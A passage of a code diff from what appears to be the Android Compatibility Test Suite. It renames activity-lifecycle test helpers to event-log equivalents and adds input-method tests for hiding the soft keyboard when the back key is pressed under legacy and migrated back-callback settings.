+public class EventLog extends ContentProvider {
 
-    interface LifecycleTrackerCallback {
-        void onActivityLifecycleChanged();
+    interface EventTrackerCallback {
+        void onEventObserved();
     }
 
     /** Identifies the activity to which the event corresponds. */
-    private static final String EXTRA_KEY_ACTIVITY = "key_activity";
+    private static final String EXTRA_KEY_TAG = "key_activity";
     /** Puts a lifecycle or callback into the container. */
     private static final String METHOD_ADD_CALLBACK = "add_callback";
     /** Content provider URI for cross-process lifecycle transitions collecting. */
@@ -56,9 +56,9 @@
     private static final List<Pair<String, String>> sLog = new ArrayList<>();
 
     /**
-     * Lifecycle tracker interface that waits for correct states or sequences.
+     * Event tracker interface that waits for correct states or sequences.
      */
-    private static LifecycleTrackerCallback sLifecycleTracker;
+    private static EventTrackerCallback sEventTracker;
 
     /** Clear the entire transition log. */
     public void clear() {
@@ -67,8 +67,10 @@
         }
     }
 
-    public void setLifecycleTracker(LifecycleTrackerCallback lifecycleTracker) {
-        sLifecycleTracker = lifecycleTracker;
+    public void setEventTracker(EventTrackerCallback eventTracker) {
+        synchronized (sLog) {
+            sEventTracker = eventTracker;
+        }
     }
 
     /** Add activity callback to the log. */
@@ -78,8 +80,8 @@
         }
         log("Activity " + activityCanonicalName + " receiver callback " + callback);
         // Trigger check for valid state in the tracker
-        if (sLifecycleTracker != null) {
-            sLifecycleTracker.onActivityLifecycleChanged();
+        if (sEventTracker != null) {
+            sEventTracker.onEventObserved();
         }
     }
 
@@ -109,28 +111,28 @@
 
     // ContentProvider implementation for cross-process tracking
 
-    public static class LifecycleLogClient implements AutoCloseable {
+    public static class EventLogClient implements AutoCloseable {
         private static final String EMPTY_ARG = "";
         private final ContentProviderClient mClient;
-        private final String mOwner;
+        private final String mTag;
 
-        public LifecycleLogClient(ContentProviderClient client, String owner) {
+        public EventLogClient(ContentProviderClient client, String tag) {
             mClient = client;
-            mOwner = owner;
+            mTag = tag;
         }
 
-        public void onActivityCallback(String callback) {
-            onActivityCallback(callback, mOwner);
+        public void onCallback(String callback) {
+            onCallback(callback, mTag);
         }
 
-        public void onActivityCallback(String callback, Activity owner) {
-            onActivityCallback(callback, owner.getClass().getCanonicalName());
+        public void onCallback(String callback, Activity activity) {
+            onCallback(callback, activity.getClass().getCanonicalName());
         }
 
-        public void onActivityCallback(String callback, String owner) {
+        public void onCallback(String callback, String tag) {
             final Bundle extras = new Bundle();
             extras.putString(METHOD_ADD_CALLBACK, callback);
-            extras.putString(EXTRA_KEY_ACTIVITY, owner);
+            extras.putString(EXTRA_KEY_TAG, tag);
             try {
                 mClient.call(METHOD_ADD_CALLBACK, EMPTY_ARG, extras);
             } catch (RemoteException e) {
@@ -143,13 +145,13 @@
             mClient.close();
         }
 
-        public static LifecycleLogClient create(String owner, Context context) {
+        public static EventLogClient create(String owner, Context context) {
             final ContentProviderClient client = context.getContentResolver()
                     .acquireContentProviderClient(URI);
             if (client == null) {
                 throw new RuntimeException("Unable to acquire " + URI);
             }
-            return new LifecycleLogClient(client, owner);
+            return new EventLogClient(client, owner);
         }
     }
 
@@ -158,7 +160,7 @@
         if (!METHOD_ADD_CALLBACK.equals(method)) {
             throw new UnsupportedOperationException();
         }
-        onActivityCallback(extras.getString(EXTRA_KEY_ACTIVITY), extras.getString(method));
+        onActivityCallback(extras.getString(EXTRA_KEY_TAG), extras.getString(method));
         return null;
     }
 
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleTracker.java b/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/EventTracker.java
similarity index 86%
rename from tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleTracker.java
rename to tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/EventTracker.java
index 31bb9ae..fae5657 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleTracker.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/EventTracker.java
@@ -29,13 +29,13 @@
  * Gets notified about activity lifecycle updates and provides blocking mechanism to wait until
  * expected activity states are reached.
  */
-public class LifecycleTracker implements LifecycleLog.LifecycleTrackerCallback {
+public class EventTracker implements EventLog.EventTrackerCallback {
     private static final int TIMEOUT = 5 * 1000;
-    private LifecycleLog mLifecycleLog;
+    private EventLog mEventLog;
 
-    public LifecycleTracker(LifecycleLog lifecycleLog) {
-        mLifecycleLog = lifecycleLog;
-        mLifecycleLog.setLifecycleTracker(this);
+    public EventTracker(EventLog eventLog) {
+        mEventLog = eventLog;
+        mEventLog.setEventTracker(this);
     }
 
     void waitAndAssertActivityStates(
@@ -51,14 +51,14 @@
     void waitAndAssertActivityCurrentState(Class<? extends Activity> activityClass,
             String expectedState) {
         final boolean waitResult = waitForConditionWithTimeout(() -> {
-            List<String> activityLog = mLifecycleLog.getActivityLog(activityClass);
+            List<String> activityLog = mEventLog.getActivityLog(activityClass);
             String currentState = activityLog.get(activityLog.size() - 1);
             return expectedState.equals(currentState);
         });
 
         if (!waitResult) {
             fail("Lifecycle state did not settle with the expected current state of "
-                    + expectedState + " : " + mLifecycleLog.getActivityLog(activityClass));
+                    + expectedState + " : " + mEventLog.getActivityLog(activityClass));
         }
     }
 
@@ -71,11 +71,11 @@
     public void waitForActivityTransitions(Class<? extends Activity> activityClass,
             List<String> expectedTransitions) {
         waitForConditionWithTimeout(
-                () -> mLifecycleLog.getActivityLog(activityClass).equals(expectedTransitions));
+                () -> mEventLog.getActivityLog(activityClass).equals(expectedTransitions));
     }
 
     @Override
-    public synchronized void onActivityLifecycleChanged() {
+    public synchronized void onEventObserved() {
         notify();
     }
 
@@ -88,7 +88,7 @@
         for (Pair<Class<? extends Activity>, String> callbackPair : activityCallbacks) {
             final Class<? extends Activity> activityClass = callbackPair.first;
             final List<String> transitionList =
-                    mLifecycleLog.getActivityLog(activityClass);
+                    mEventLog.getActivityLog(activityClass);
             if (transitionList.isEmpty()
                     || !transitionList.get(transitionList.size() - 1).equals(callbackPair.second)) {
                 // The activity either hasn't got any state transitions yet or the current state is
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleTrackingActivity.java b/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleTrackingActivity.java
index f3ce34f..5c64485 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleTrackingActivity.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleTrackingActivity.java
@@ -40,14 +40,14 @@
 
 /** Base activity that only tracks fundamental activity lifecycle states. */
 public class LifecycleTrackingActivity extends Activity {
-    LifecycleLog.LifecycleLogClient mLifecycleLogClient;
+    EventLog.EventLogClient mEventLogClient;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
-        mLifecycleLogClient = LifecycleLog.LifecycleLogClient.create(
+        mEventLogClient = EventLog.EventLogClient.create(
                 this.getClass().getCanonicalName(), this);
-        mLifecycleLogClient.onActivityCallback(ON_CREATE);
+        mEventLogClient.onCallback(ON_CREATE);
 
         final Intent intent = getIntent();
         final Intent startOnCreate =
@@ -72,7 +72,7 @@
     @Override
     protected void onStart() {
         super.onStart();
-        mLifecycleLogClient.onActivityCallback(ON_START);
+        mEventLogClient.onCallback(ON_START);
 
         if (getIntent().getBooleanExtra(EXTRA_FINISH_IN_ON_START, false)) {
             finish();
@@ -82,7 +82,7 @@
     @Override
     protected void onResume() {
         super.onResume();
-        mLifecycleLogClient.onActivityCallback(ON_RESUME);
+        mEventLogClient.onCallback(ON_RESUME);
 
         final Intent intent = getIntent();
         if (intent.getBooleanExtra(EXTRA_FINISH_IN_ON_RESUME, false)) {
@@ -93,7 +93,7 @@
     @Override
     protected void onPause() {
         super.onPause();
-        mLifecycleLogClient.onActivityCallback(ON_PAUSE);
+        mEventLogClient.onCallback(ON_PAUSE);
 
         if (getIntent().getBooleanExtra(EXTRA_FINISH_IN_ON_PAUSE, false)) {
             finish();
@@ -103,7 +103,7 @@
     @Override
     protected void onStop() {
         super.onStop();
-        mLifecycleLogClient.onActivityCallback(ON_STOP);
+        mEventLogClient.onCallback(ON_STOP);
 
         if (getIntent().getBooleanExtra(EXTRA_FINISH_IN_ON_STOP, false)) {
             finish();
@@ -113,14 +113,14 @@
     @Override
     protected void onDestroy() {
         super.onDestroy();
-        mLifecycleLogClient.onActivityCallback(ON_DESTROY);
-        mLifecycleLogClient.close();
+        mEventLogClient.onCallback(ON_DESTROY);
+        mEventLogClient.close();
     }
 
     @Override
     protected void onRestart() {
         super.onRestart();
-        mLifecycleLogClient.onActivityCallback(ON_RESTART);
+        mEventLogClient.onCallback(ON_RESTART);
     }
 
     @Override
@@ -128,7 +128,7 @@
         super.onUserLeaveHint();
 
         if (getIntent().getBooleanExtra(EXTRA_ACTIVITY_ON_USER_LEAVE_HINT, false)) {
-            mLifecycleLogClient.onActivityCallback(ON_USER_LEAVE_HINT);
+            mEventLogClient.onCallback(ON_USER_LEAVE_HINT);
         }
     }
 }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleVerifier.java b/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/TransitionVerifier.java
similarity index 85%
rename from tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleVerifier.java
rename to tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/TransitionVerifier.java
index b9a6b66..db6a243 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/LifecycleVerifier.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/TransitionVerifier.java
@@ -41,17 +41,17 @@
 import java.util.Arrays;
 import java.util.List;
 
-/** Util class that verifies correct activity state transition sequences. */
-public class LifecycleVerifier {
+/** Util class that verifies correct event and state transition sequences. */
+public class TransitionVerifier {
 
     private static final Class CALLBACK_TRACKING_CLASS = CallbackTrackingActivity.class;
     private static final Class CONFIG_CHANGE_HANDLING_CLASS =
             LifecycleConfigChangeHandlingActivity.class;
 
     static void assertLaunchSequence(Class<? extends Activity> activityClass,
-            LifecycleLog lifecycleLog, String... expectedSubsequentEvents) {
+            EventLog eventLog, String... expectedSubsequentEvents) {
         final List<String> observedTransitions =
-                lifecycleLog.getActivityLog(activityClass);
+                eventLog.getActivityLog(activityClass);
         log("Observed sequence: " + observedTransitions);
         final String errorMessage = errorDuringTransition(activityClass, "launch");
 
@@ -81,7 +81,7 @@
     }
 
     static void assertLaunchSequence(Class<? extends Activity> launchingActivity,
-            Class<? extends Activity> existingActivity, LifecycleLog lifecycleLog,
+            Class<? extends Activity> existingActivity, EventLog eventLog,
             boolean launchingIsTranslucent) {
         final boolean includingCallbacks;
         if (CALLBACK_TRACKING_CLASS.isAssignableFrom(launchingActivity)
@@ -97,7 +97,7 @@
         }
 
 
-        final List<Pair<String, String>> observedTransitions = lifecycleLog.getLog();
+        final List<Pair<String, String>> observedTransitions = eventLog.getLog();
         log("Observed sequence: " + observedTransitions);
         final String errorMessage = errorDuringTransition(launchingActivity, "launch");
 
@@ -125,15 +125,15 @@
     }
 
     static void assertLaunchAndStopSequence(Class<? extends Activity> activityClass,
-            LifecycleLog lifecycleLog) {
-        assertLaunchAndStopSequence(activityClass, lifecycleLog,
+            EventLog eventLog) {
+        assertLaunchAndStopSequence(activityClass, eventLog,
                 false /* onTop */);
     }
 
     static void assertLaunchAndStopSequence(Class<? extends Activity> activityClass,
-            LifecycleLog lifecycleLog, boolean onTop) {
+            EventLog eventLog, boolean onTop) {
         final List<String> observedTransitions =
-                lifecycleLog.getActivityLog(activityClass);
+                eventLog.getActivityLog(activityClass);
         log("Observed sequence: " + observedTransitions);
         final String errorMessage = errorDuringTransition(activityClass, "launch and stop");
 
@@ -153,9 +153,9 @@
     }
 
     static void assertLaunchAndPauseSequence(Class<? extends Activity> activityClass,
-            LifecycleLog lifecycleLog) {
+            EventLog eventLog) {
         final List<String> observedTransitions =
-                lifecycleLog.getActivityLog(activityClass);
+                eventLog.getActivityLog(activityClass);
         log("Observed sequence: " + observedTransitions);
         final String errorMessage = errorDuringTransition(activityClass, "launch and pause");
 
@@ -165,9 +165,9 @@
     }
 
     static void assertRestartSequence(Class<? extends Activity> activityClass,
-            LifecycleLog lifecycleLog) {
+            EventLog eventLog) {
         final List<String> observedTransitions =
-                lifecycleLog.getActivityLog(activityClass);
+                eventLog.getActivityLog(activityClass);
         log("Observed sequence: " + observedTransitions);
         final String errorMessage = errorDuringTransition(activityClass, "restart");
 
@@ -177,9 +177,9 @@
     }
 
     static void assertRestartAndResumeSequence(Class<? extends Activity> activityClass,
-            LifecycleLog lifecycleLog) {
+            EventLog eventLog) {
         final List<String> observedTransitions =
-                lifecycleLog.getActivityLog(activityClass);
+                eventLog.getActivityLog(activityClass);
         log("Observed sequence: " + observedTransitions);
         final String errorMessage = errorDuringTransition(activityClass, "restart and pause");
 
@@ -194,22 +194,22 @@
      * state is resolved.
      */
     static void assertRestartAndResumeSubSequence(Class<? extends Activity> activityClass,
-            LifecycleLog lifecycleLog) {
+            EventLog eventLog) {
         final List<String> observedTransitions =
-                lifecycleLog.getActivityLog(activityClass);
+                eventLog.getActivityLog(activityClass);
         log("Observed sequence: " + observedTransitions);
 
         final List<Pair<String, String>> expectedTransitions =
                 Arrays.asList(transition(activityClass, ON_RESTART),
                         transition(activityClass, ON_START), transition(activityClass, ON_RESUME));
 
-        assertOrder(lifecycleLog, expectedTransitions, "restart and resume");
+        assertOrder(eventLog, expectedTransitions, "restart and resume");
     }
 
     static void assertRecreateAndResumeSequence(Class<? extends Activity> activityClass,
-            LifecycleLog lifecycleLog) {
+            EventLog eventLog) {
         final List<String> observedTransitions =
-                lifecycleLog.getActivityLog(activityClass);
+                eventLog.getActivityLog(activityClass);
         log("Observed sequence: " + observedTransitions);
         final String errorMessage = errorDuringTransition(activityClass, "recreateA  and pause");
 
@@ -219,9 +219,9 @@
     }
 
     static void assertLaunchAndDestroySequence(Class<? extends Activity> activityClass,
-            LifecycleLog lifecycleLog) {
+            EventLog eventLog) {
         final List<String> observedTransitions =
-                lifecycleLog.getActivityLog(activityClass);
+                eventLog.getActivityLog(activityClass);
         log("Observed sequence: " + observedTransitions);
         final String errorMessage = errorDuringTransition(activityClass, "launch and destroy");
 
@@ -231,9 +231,9 @@
     }
 
     static void assertResumeToDestroySequence(Class<? extends Activity> activityClass,
-            LifecycleLog lifecycleLog) {
+            EventLog eventLog) {
         final List<String> observedTransitions =
-                lifecycleLog.getActivityLog(activityClass);
+                eventLog.getActivityLog(activityClass);
         log("Observed sequence: " + observedTransitions);
         final String errorMessage = errorDuringTransition(activityClass, "launch and destroy");
 
@@ -250,9 +250,9 @@
     }
 
     static void assertResumeToStopSequence(Class<? extends Activity> activityClass,
-            LifecycleLog lifecycleLog) {
+            EventLog eventLog) {
         final List<String> observedTransitions =
-                lifecycleLog.getActivityLog(activityClass);
+                eventLog.getActivityLog(activityClass);
         log("Observed sequence: " + observedTransitions);
         final String errorMessage = errorDuringTransition(activityClass, "resumed to stopped");
         final boolean includeCallbacks = CALLBACK_TRACKING_CLASS.isAssignableFrom(activityClass);
@@ -268,9 +268,9 @@
     }
 
     static void assertStopToResumeSequence(Class<? extends Activity> activityClass,
-            LifecycleLog lifecycleLog) {
+            EventLog eventLog) {
         final List<String> observedTransitions =
-                lifecycleLog.getActivityLog(activityClass);
+                eventLog.getActivityLog(activityClass);
         log("Observed sequence: " + observedTransitions);
         final String errorMessage = errorDuringTransition(activityClass, "stopped to resumed");
         final boolean includeCallbacks = CALLBACK_TRACKING_CLASS.isAssignableFrom(activityClass);
@@ -290,9 +290,9 @@
      * state is resolved.
      */
     static void assertStopToResumeSubSequence(Class<? extends Activity> activityClass,
-            LifecycleLog lifecycleLog) {
+            EventLog eventLog) {
         final List<String> observedTransitions =
-                lifecycleLog.getActivityLog(activityClass);
+                eventLog.getActivityLog(activityClass);
         log("Observed sequence: " + observedTransitions);
         final boolean includeCallbacks = CALLBACK_TRACKING_CLASS.isAssignableFrom(activityClass);
 
@@ -303,13 +303,13 @@
             expectedTransitions.add(transition(activityClass, ON_TOP_POSITION_GAINED));
         }
 
-        assertOrder(lifecycleLog, expectedTransitions, "stop and resume");
+        assertOrder(eventLog, expectedTransitions, "stop and resume");
     }
 
     static void assertRelaunchSequence(Class<? extends Activity> activityClass,
-            LifecycleLog lifecycleLog, String startState) {
+            EventLog eventLog, String startState) {
         final List<String> expectedTransitions = getRelaunchSequence(startState);
-        assertSequence(activityClass, lifecycleLog, expectedTransitions, "relaunch");
+        assertSequence(activityClass, eventLog, expectedTransitions, "relaunch");
     }
 
     static List<String> getRelaunchSequence(String startState) {
@@ -361,10 +361,10 @@
         return newTransitions;
     }
 
-    static void assertSequence(Class<? extends Activity> activityClass, LifecycleLog lifecycleLog,
+    static void assertSequence(Class<? extends Activity> activityClass, EventLog eventLog,
             List<String> expectedTransitions, String transition) {
         final List<String> observedTransitions =
-                lifecycleLog.getActivityLog(activityClass);
+                eventLog.getActivityLog(activityClass);
         log("Observed sequence: " + observedTransitions);
         final String errorMessage = errorDuringTransition(activityClass, transition);
 
@@ -378,13 +378,13 @@
      * Use this method when there is no need to verify the entire sequence, only that some
      * transitions happened after another.
      */
-    static void assertOrder(LifecycleLog lifecycleLog, Class<? extends Activity> activityClass,
+    static void assertOrder(EventLog eventLog, Class<? extends Activity> activityClass,
             List<String> expectedTransitionsOrder, String transition) {
         List<Pair<String, String>> expectedTransitions = new ArrayList<>();
         for (String callback : expectedTransitionsOrder) {
             expectedTransitions.add(transition(activityClass, callback));
         }
-        assertOrder(lifecycleLog, expectedTransitions, transition);
+        assertOrder(eventLog, expectedTransitions, transition);
     }
 
     /**
@@ -394,10 +394,10 @@
      * Use this method when there is no need to verify the entire sequence, only that some
      * transitions happened after another.
      */
-    public static void assertOrder(LifecycleLog lifecycleLog,
+    public static void assertOrder(EventLog eventLog,
             List<Pair<String, String>> expectedTransitionsOrder,
             String transition) {
-        String result = checkOrderAndReturnError(lifecycleLog, expectedTransitionsOrder,
+        String result = checkOrderAndReturnError(eventLog, expectedTransitionsOrder,
                 transition);
         if (result != null) {
             fail(result);
@@ -405,12 +405,12 @@
     }
 
     /**
-     * Same as {@link #assertOrder(LifecycleLog, List, String)}, but returns the String with error
+     * Same as {@link #assertOrder(EventLog, List, String)}, but returns the String with error
      * if it occurs. Otherwise returns {@code null}
      */
-    public static String checkOrderAndReturnError(LifecycleLog lifecycleLog,
+    public static String checkOrderAndReturnError(EventLog eventLog,
             List<Pair<String, String>> expectedTransitionsOrder, String transition) {
-        final List<Pair<String, String>> observedTransitions = lifecycleLog.getLog();
+        final List<Pair<String, String>> observedTransitions = eventLog.getLog();
         int nextObservedPosition = 0;
         for (Pair<String, String> expectedTransition
                 : expectedTransitionsOrder) {
@@ -429,42 +429,42 @@
     /**
      * Assert that a transition was observer, no particular order.
      */
-    public static void assertTransitionObserved(LifecycleLog lifecycleLog,
+    public static void assertTransitionObserved(EventLog eventLog,
             Pair<String, String> expectedTransition, String transition) {
         assertTrue("Transition " + expectedTransition + " must be observed during " + transition,
-                lifecycleLog.getLog().contains(expectedTransition));
+                eventLog.getLog().contains(expectedTransition));
     }
 
     /**
-     * Same as {@link #checkOrderAndReturnError(LifecycleLog, List, String)}, but returns
+     * Same as {@link #checkOrderAndReturnError(EventLog, List, String)}, but returns
      * {@code false} if the order does not match. Otherwise returns {@code true}
      */
-    public static boolean checkOrder(LifecycleLog lifecycleLog,
+    public static boolean checkOrder(EventLog eventLog,
             List<Pair<String, String>> expectedTransitionsOrder) {
-        String result = checkOrderAndReturnError(lifecycleLog, expectedTransitionsOrder, null);
+        String result = checkOrderAndReturnError(eventLog, expectedTransitionsOrder, null);
         return result == null;
     }
 
     /**
      * Assert that a transition was not observer, no particular order.
      */
-    static void assertTransitionNotObserved(LifecycleLog lifecycleLog,
+    static void assertTransitionNotObserved(EventLog eventLog,
             Pair<String, String> expectedTransition, String transition) {
         assertFalse("Transition " + expectedTransition + " must not be observed during "
-                        + transition, lifecycleLog.getLog().contains(expectedTransition));
+                        + transition, eventLog.getLog().contains(expectedTransition));
     }
 
     static void assertEmptySequence(Class<? extends Activity> activityClass,
-            LifecycleLog lifecycleLog, String transition) {
-        assertSequence(activityClass, lifecycleLog, new ArrayList<>(), transition);
+            EventLog eventLog, String transition) {
+        assertSequence(activityClass, eventLog, new ArrayList<>(), transition);
     }
 
     /** Assert that a lifecycle sequence matches one of the possible variants. */
     static void assertSequenceMatchesOneOf(Class<? extends Activity> activityClass,
-            LifecycleLog lifecycleLog, List<List<String>> expectedTransitions,
+            EventLog eventLog, List<List<String>> expectedTransitions,
             String transition) {
         final List<String> observedTransitions =
-                lifecycleLog.getActivityLog(activityClass);
+                eventLog.getActivityLog(activityClass);
         log("Observed sequence: " + observedTransitions);
         final String errorMessage = errorDuringTransition(activityClass, transition);
 
@@ -483,8 +483,8 @@
     /** Assert the entire sequence for all involved activities. */
     static void assertEntireSequence(
             List<Pair<String, String>> expectedTransitions,
-            LifecycleLog lifecycleLog, String message) {
-        final List<Pair<String, String>> observedTransitions = lifecycleLog.getLog();
+            EventLog eventLog, String message) {
+        final List<Pair<String, String>> observedTransitions = eventLog.getLog();
         assertEquals(message, expectedTransitions, observedTransitions);
     }
 
diff --git a/tests/inputmethod/AndroidManifest.xml b/tests/inputmethod/AndroidManifest.xml
index e757f79..0211434 100644
--- a/tests/inputmethod/AndroidManifest.xml
+++ b/tests/inputmethod/AndroidManifest.xml
@@ -24,6 +24,7 @@
     <application android:label="CtsInputMethodTestCases"
          android:multiArch="true"
          android:supportsRtl="true"
+         android:debuggable="true"
          android:testOnly="true">
 
         <uses-library android:name="android.test.runner"/>
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
index daccbb0..fc4c05e 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
@@ -426,6 +426,10 @@
                             return e;
                         }
                     }
+                    case "setEnableOnBackInvokedCallback":
+                        boolean isEnabled = command.getExtras().getBoolean("isEnabled");
+                        getApplicationInfo().setEnableOnBackInvokedCallback(isEnabled);
+                        return ImeEvent.RETURN_VALUE_UNAVAILABLE;
                     case "getDisplayId":
                         return getDisplay().getDisplayId();
                     case "verifyLayoutInflaterContext":
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
index c5ef7d0..3654a15 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
@@ -1405,6 +1405,13 @@
     }
 
     @NonNull
+    public ImeCommand callSetEnableOnBackInvokedCallback(Boolean isEnabled) {
+        final Bundle params = new Bundle();
+        params.putBoolean("isEnabled", isEnabled);
+        return callCommandInternal("setEnableOnBackInvokedCallback", params);
+    }
+
+    @NonNull
     public ImeCommand callGetDisplayId() {
         final Bundle params = new Bundle();
         return callCommandInternal("getDisplayId", params);
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
index 3591ffa..ac95dc8 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
@@ -244,6 +244,76 @@
         }
     }
 
+    private void verifyHideImeBackPressed(
+            boolean appRequestsLegacy, boolean imeRequestsLegacy) throws Exception {
+        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        final InputMethodManager imm = InstrumentationRegistry.getInstrumentation()
+                .getTargetContext().getSystemService(InputMethodManager.class);
+
+        try (MockImeSession imeSession = MockImeSession.create(
+                instrumentation.getContext(),
+                instrumentation.getUiAutomation(),
+                new ImeSettings.Builder())) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            final String marker = getTestMarker();
+            final EditText editText = launchTestActivity(marker);
+            final TestActivity testActivity = (TestActivity) editText.getContext();
+            if (appRequestsLegacy) {
+                testActivity.getApplicationInfo().setEnableOnBackInvokedCallback(true);
+                testActivity.setIgnoreBackKey(true);
+            }
+            if (imeRequestsLegacy) {
+                imeSession.callSetEnableOnBackInvokedCallback(true);
+            }
+
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+            notExpectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            expectImeInvisible(TIMEOUT);
+
+            assertTrue("isActive() must return true if the View has IME focus",
+                    getOnMainSync(() -> imm.isActive(editText)));
+
+            // Test showSoftInput() flow
+            assertTrue("showSoftInput must success if the View has IME focus",
+                    getOnMainSync(() -> imm.showSoftInput(editText, 0)));
+
+            expectEvent(stream, showSoftInputMatcher(InputMethod.SHOW_EXPLICIT), TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            expectEventWithKeyValue(stream, "onWindowVisibilityChanged", "visible",
+                    View.VISIBLE, TIMEOUT);
+            expectImeVisible(TIMEOUT);
+
+            // Pressing back key, expect soft-keyboard will become invisible.
+            instrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_BACK);
+            expectEvent(stream, hideSoftInputMatcher(), TIMEOUT);
+            expectEvent(stream, onFinishInputViewMatcher(false), TIMEOUT);
+            expectEventWithKeyValue(stream, "onWindowVisibilityChanged", "visible",
+                    View.GONE, TIMEOUT);
+            expectImeInvisible(TIMEOUT);
+        }
+    }
+
+    @Test
+    public void testHideImeAfterBackPressed_legacyAppLegacyIme() throws Exception {
+        verifyHideImeBackPressed(true /* appRequestsLegacy */, true /* imeRequestsLegacy */);
+    }
+
+    @Test
+    public void testHideImeAfterBackPressed_migratedAppLegacyIme() throws Exception {
+        verifyHideImeBackPressed(false /* appRequestsLegacy */, true /* imeRequestsLegacy */);
+    }
+
+    @Test
+    public void testHideImeAfterBackPressed_migratedAppMigratedIme() throws Exception {
+        verifyHideImeBackPressed(false /* appRequestsLegacy */, false /* imeRequestsLegacy */);
+    }
+
+    @Test
+    public void testHideImeAfterBackPressed_legacyAppMigratedIme() throws Exception {
+        verifyHideImeBackPressed(true /* appRequestsLegacy */, false /* imeRequestsLegacy */);
+    }
+
     @Test
     public void testShowHideSoftInputShouldBeIgnoredOnNonFocusedView() throws Exception {
         final InputMethodManager imm = InstrumentationRegistry.getInstrumentation()
diff --git a/tests/inputmethod/util/src/android/view/inputmethod/cts/util/TestActivity.java b/tests/inputmethod/util/src/android/view/inputmethod/cts/util/TestActivity.java
index 66ef1e2..2b12a3c 100644
--- a/tests/inputmethod/util/src/android/view/inputmethod/cts/util/TestActivity.java
+++ b/tests/inputmethod/util/src/android/view/inputmethod/cts/util/TestActivity.java
@@ -31,6 +31,8 @@
 import android.view.Window;
 import android.view.WindowManager;
 import android.widget.TextView;
+import android.window.OnBackInvokedCallback;
+import android.window.OnBackInvokedDispatcher;
 
 import androidx.annotation.AnyThread;
 import androidx.annotation.NonNull;
@@ -56,6 +58,10 @@
     private long mOnBackPressedCallCount;
 
     private TextView mOverlayView;
+    private OnBackInvokedCallback mIgnoreBackKeyCallback = () -> {
+        // Ignore back.
+    };
+    private Boolean mIgnoreBackKeyCallbackRegistered = false;
 
     /**
      * Controls how {@link #onBackPressed()} behaves.
@@ -69,6 +75,19 @@
     @AnyThread
     public void setIgnoreBackKey(boolean ignore) {
         mIgnoreBackKey.set(ignore);
+        if (ignore) {
+            if (!mIgnoreBackKeyCallbackRegistered) {
+                getOnBackInvokedDispatcher().registerOnBackInvokedCallback(
+                        OnBackInvokedDispatcher.PRIORITY_DEFAULT, mIgnoreBackKeyCallback);
+                mIgnoreBackKeyCallbackRegistered = true;
+            }
+        } else {
+            if (mIgnoreBackKeyCallbackRegistered) {
+                getOnBackInvokedDispatcher().unregisterOnBackInvokedCallback(
+                        mIgnoreBackKeyCallback);
+                mIgnoreBackKeyCallbackRegistered = false;
+            }
+        }
     }
 
     @UiThread
@@ -102,6 +121,10 @@
                     .getSystemService(WindowManager.class).removeView(mOverlayView);
             mOverlayView = null;
         }
+        if (mIgnoreBackKeyCallbackRegistered) {
+            getOnBackInvokedDispatcher().unregisterOnBackInvokedCallback(mIgnoreBackKeyCallback);
+            mIgnoreBackKeyCallbackRegistered = false;
+        }
     }
 
     /**
diff --git a/tests/location/common/src/android/location/cts/common/TestUtils.java b/tests/location/common/src/android/location/cts/common/TestUtils.java
index 75c2b27..0caf3ea 100644
--- a/tests/location/common/src/android/location/cts/common/TestUtils.java
+++ b/tests/location/common/src/android/location/cts/common/TestUtils.java
@@ -16,14 +16,17 @@
 
 package android.location.cts.common;
 
+import android.app.UiAutomation;
 import android.content.Context;
+import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
 import android.net.NetworkInfo;
 import android.util.Log;
-
+import androidx.test.InstrumentationRegistry;
 import com.android.compatibility.common.util.SystemUtil;
-
+import java.util.ArrayList;
+import java.util.List;
 import java.util.concurrent.Callable;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -157,4 +160,62 @@
             Thread.sleep(DATA_CONNECTION_CHECK_INTERVAL_MS);
         }
     }
+
+    public static List<String> getPackagesWithPermissions(String permission) {
+        UiAutomation uiAnimation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        Context context = InstrumentationRegistry.getTargetContext();
+        PackageManager pm = context.getPackageManager();
+
